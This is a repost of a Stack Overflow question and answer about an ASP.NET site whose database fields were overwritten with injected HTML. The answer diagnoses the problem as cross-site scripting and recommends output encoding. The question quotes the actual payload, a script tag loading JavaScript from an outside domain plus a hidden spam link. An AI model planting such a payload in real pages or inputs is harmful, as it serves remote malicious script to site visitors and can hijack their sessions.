gpt4 book ai didi

asp.net - 是 SQL 注入(inject)吗?

转载 作者:行者123 更新时间:2023-12-03 18:18:15 25 4
gpt4 key购买 nike

我发现我的 SQL Server 数据库字段被黑客入侵如下。请注意 Original Content是该字段的现有值,它会更改为以下值。

Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 >crack</a>

我认为这是一次 SQL 注入(inject)攻击。如果没有,请指导。我已经确保关注,但是数据库每隔几天就会被黑客入侵。

1) 我所有的数据访问都在数据集文件中,即 app_code\DataLayer.xsd .我将我的数据方法称为如下。
Dim memberDAL As new membersTableAdapter 
Dim memberName As String = tbName.text
memberDAL.insertMember(memberName)

上面的代码是否被限定为参数化查询。就我的问题而言,它是安全的数据访问吗?所有数据访问都是以这种方式完成的。有很多输入字段的表单,并且内容确实进入数据库。然而,似乎发生的不是 INSERT,而是 UPDATE。甚至成员(member)表也受到影响。例如在 aspnet_users表一个名为“admin”的用户名更改为以下。
admin</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack</a></title><script src=http://dfrgcc.com/ur.php></script>

2)我使用验证码排除机器人,但这没有帮助。

我在共享主机上,根据服务器管理员,我需要清理我的代码。请指教。

最佳答案

这是 XSS 攻击。您的数据库没有受到破坏,但它现在包含指向在您的域上下文中执行的外部托管 Javascript 的链接。这意味着他们可能能够劫持用户的 session ,或代表用户提出请求。

您应该对输出到页面的数据进行 HTML 编码 - 替换 <&lt; (和 the rest )将“上下文编码”数据,确保应该是纯文本(上面的“注入(inject)”HTML)作为文本输出,而不是被浏览器解释为 HTML(和 Javascript)。

要了解更多信息,请查看 OWASP article .

关于asp.net - 是 SQL 注入(inject)吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/7554346/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com